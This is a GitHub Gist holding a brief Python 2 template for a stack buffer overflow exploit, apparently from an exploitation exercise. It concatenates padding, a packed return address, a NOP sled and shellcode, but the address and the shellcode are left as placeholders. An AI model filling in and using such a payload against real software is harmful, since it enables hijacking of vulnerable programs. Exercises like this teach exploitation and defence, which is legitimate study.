Created
October 15, 2019 00:20
-
-
Save awave1/f7b50bc9600e1e8331e19aa7b5b9eec9 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
import struct | |
pad = 'a' * 96 | |
addr = struct.pack('L', 0xreturn_addr + 50) | |
nops = '\x90' * 100 | |
shellcode = "copy it here" | |
print pad + addr + nops + shellcode |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment